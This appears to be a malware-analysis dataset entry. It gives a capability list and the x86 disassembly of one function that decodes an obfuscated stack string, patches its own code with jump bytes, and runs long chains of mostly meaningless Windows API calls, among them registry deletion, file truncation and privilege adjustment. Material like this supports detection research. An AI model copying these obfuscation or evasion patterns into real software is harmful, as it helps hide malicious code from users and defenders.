Function at 0xaaa000
Capabilities:
Allocate thread local storage
Clear file content
Contain obfuscated stackstrings
Create pipe
Delete registry key
Enumerate files on windows
Enumerate gui resources
Get common file path
Get geographical location
Get memory capacity
Get session user name
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
mov dword [ebp - 0x10], 0xaaaf1c
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xaaa036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xaaa1f6
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xaaa0b8
call fcn.00487982
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xaaa07a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xaaa094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xaaa094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xaaa04a
mov byte [ebp - 0x78], 5
mov byte [ebp - 0x77], 0x6a
mov byte [ebp - 0x76], 6
mov byte [ebp - 0x75], 0x71
mov byte [ebp - 0x74], 7
mov byte [ebp - 0x73], 0x66
mov byte [ebp - 0x72], 9
mov byte [ebp - 0x71], 0x70
mov byte [ebp - 0x70], 2
mov byte [ebp - 0x6f], 0x77
mov byte [ebp - 0x6e], 4
mov byte [ebp - 0x6d], 0x82
mov byte [ebp - 0x6c], 0x1b
mov byte [ebp - 0x6b], 0xdc
mov byte [ebp - 0x6a], 0x34
mov byte [ebp - 0x69], 0xc2
mov byte [ebp - 0x68], 0xcb
mov byte [ebp - 0x67], 0x46
mov byte [ebp - 0x66], 5
mov byte [ebp - 0x65], 0x65
mov byte [ebp - 0x64], 0xde
mov byte [ebp - 0x63], 0x57
mov byte [ebp - 0x62], 0x32
mov byte [ebp - 0x61], 2
mov byte [ebp - 0x60], 0xdc
mov byte [ebp - 0x5f], 0x1c
mov byte [ebp - 0x5e], pe_nt_image_headers32
mov byte [ebp - 0x5d], 0x38
mov byte [ebp - 0x5c], 0xb9
mov byte [ebp - 0x5b], 0x4c
mov byte [ebp - 0x5a], 0x42
mov byte [ebp - 0x59], 0x7e
mov byte [ebp - 0x58], 0xdf
mov byte [ebp - 0x57], 0x33
mov byte [ebp - 0x56], 0xbe
mov byte [ebp - 0x55], 0xb6
mov byte [ebp - 0x54], 0x75
mov byte [ebp - 0x53], 0xf0
mov byte [ebp - 0x52], 0x4b
mov byte [ebp - 0x51], 0
mov byte [ebp - 0x50], 0x7f
mov byte [ebp - 0x4f], 8
mov byte [ebp - 0x4e], 0x7f
mov byte [ebp - 0x4d], 1
mov byte [ebp - 0x4c], 0x86
mov byte [ebp - 0x4b], 3
mov byte [ebp - 0x4a], 0x33
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xaaa186
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x2f
jae 0xaaa1eb
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x78]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xaaa1b2
mov dword [ebp - 0x24], 0x1b
mov eax, dword [ebp - 8]
add eax, 0x19
mov dword [ebp - 8], eax
jmp 0xaaa17e
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x77]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xaaa1da
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xaaa1c7
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x78]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xaaa17e
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xa9f47a
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00407acb
mov ecx, eax
call fcn.00402e18
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402dbc
and dword [ebp - 0x1c], 0
jmp 0xaaa22e
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xaaa23e
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xaaa227
push 0
push 0
push 0x18ab
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0
call dword [sym.imp.ole32.dll_CoTaskMemFree]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_UnionRect]
push 0x11e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
push 0x22d3
push 0
push 0x1fdc
push 0x17d
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push 0x15c2
push 0x18f6
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFrameControl]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetParent]
push 0
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push 0x25dc
push 0xaa2
push 0
push 0
push 0x1c6a
push 0x2498
call dword [sym.imp.USER32.dll_ToUnicode]
push 0
push 0x1e51
push 0x57e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowExtEx]
push 0x6ac
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0xae9
call dword [sym.imp.USER32.dll_PostQuitMessage]
push 0
push 0
push 0x21be
push 0
call dword [sym.imp.USER32.dll_AppendMenuA]
push 0
call dword [sym.imp.GDI32.dll_GetObjectType]
push 0
push 0
call dword [sym.imp.USER32.dll_EnumWindows]
push 0
push 0xfff
push 0x50
push 0
push 0x2667
push 0xcc5
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
push 0xad0
push 0
push 0x100c
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
call dword [sym.imp.GDI32.dll_CreateBitmapIndirect]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
push 0x21cb
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push 0
push 0x258e
push 0xb2
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetDIBColorTable]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndDoc]
push 0x1cfd
push 0x1be4
push 0xac
push 0x7e0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
push 0
push 0x1cc1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push 0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
call dword [sym.imp.USER32.dll_DestroyCaret]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0
call dword [sym.imp.USER32.dll_CreateIconIndirect]
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
push 0
push 0x107a
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
push 0x1869
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
push 0x1a2a
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
push 0xbcc
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x716
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0xbe3
call dword [sym.imp.USER32.dll_BeginDeferWindowPos]
push 0
push 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
push 0x21ba
push 0x15d1
push 0x242b
push 0xbb1
push 0
call dword [sym.imp.USER32.dll_SetRect]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
push 0x1e5b
push 0x1489
push 0
call dword [sym.imp.USER32.dll_RemoveMenu]
push 0
push 0x2677
push 0x2622
push 0x277
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0xc0a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0
push 0
push 0x192b
push 0x1316
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindow]
push 0xf71
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetBkColor]
push 1
push 0x9e9
push 0x26a6
push 0x253c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollRange]
push 0
push 0x1283
push 0
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRgn]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsZoomed]
push 0x5d6
push 0
push 0x1185
push 0x2179
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtFloodFill]
push 0x230c
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1d09
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolyline]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
push 1
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
push 0x2417
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 0
push 0x15af
push 0xa81
push 0x5e4
push 0x246a
push 0xdc6
push 0x1680
push 0x16ce
push 0x11b
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0
push 0x578
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetScrollInfo]
push 0x2034
push 0x212f
push 0x1029
push 0x1699
call dword [sym.imp.GDI32.dll_CreateRectRgn]
push 0x2030
push 0x1cc7
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CreateCaret]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 0x31f
push 0x25a5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetClassLongA]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0x1d8a
push 1
push 0x2520
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push 0x1648
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
push 0x1985
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push 0x1535
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
push 0
push 0x1def
push 0x1768
push 0
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push 0x58
call dword [sym.imp.USER32.dll_MessageBeep]
push 0x9d
push 0x1aa6
push 0
call dword [sym.imp.USER32.dll_EnableMenuItem]
push 0
call dword [sym.imp.USER32.dll_DestroyIcon]
push 0x19e4
push 0x1da6
call dword [sym.imp.KERNEL32.dll_Beep]
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
push 0
push 0
push 0x1c15
push 0
push 1
push 0
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0
push 0
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
push 0x1b6d
push 0x1809
push 0x407
push 0x2628
push 0x179e
push 0x22b4
push 0x1eda
push 0x3ff
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Arc]
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ClientToScreen]
push 0x1cc2
push 0
push 0x2a3
push 0x2034
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRect]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_HideCaret]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 1
push 0x673
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RectVisible]
push 0
push 0xfb5
push 0
push 0
push 0x133e
push 0x1d69
call dword [sym.imp.USER32.dll_ToAsciiEx]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
push 0x1ffe
push 0x41a
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
push 0
push 0x1259
push 0x34e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
push 0x1c9b
call dword [sym.imp.KERNEL32.dll_TlsFree]
push 0x1daf
call dword [sym.imp.KERNEL32.dll_ExitProcess]